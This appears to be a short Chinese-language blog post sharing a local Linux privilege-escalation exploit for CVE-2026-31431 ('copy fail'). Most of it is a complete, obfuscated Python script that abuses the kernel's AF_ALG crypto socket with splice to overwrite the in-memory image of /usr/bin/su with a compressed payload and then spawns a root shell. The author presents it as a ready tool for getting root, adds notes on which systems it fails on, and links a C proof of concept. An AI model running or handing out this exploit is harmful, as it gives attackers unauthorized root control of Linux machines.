security - cve-2026-31431 的提权 copy fail

访问量: 12

refer to: https://github.com/AliHzSec/CVE-2026-31431

大杀器啊。

使用python3.10+ 直接运行下面脚本,直接拿到root

#!/usr/bin/env python3
import os as g, zlib, socket as s


def d(x):
    return bytes.fromhex(x)


def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d("0800010000000010" + "0" * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d("00")
    u.sendmsg(
        [b"A" * 4 + c],
        [
            (h, 3, i * 4),
            (h, 2, b"\x10" + i * 19),
            (h, 4, b"\x08" + i * 3),
        ],
        32768,
    )
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try:
        u.recv(8 + t)
    except:
        0


f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(
    d(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
)
while i < len(e):
    c(f, i, e[i : i + 4])
    i += 4
g.system("su")

运行后直接拿下root 

说明:

docker 貌似不行,没有 AF_FLAG 这个东西。

古老的linux ( ubuntu16, centos7 )也不行,只要没有AF_FLAG就不行

另外,这个是python3的脚本,所以好像没有python3也不行。 (除非给个 可执行的exe )

这个是 c 语言的POC 版本: https://github.com/Smarttfoxx/copyfail

订阅/RSS Feed

Subscribe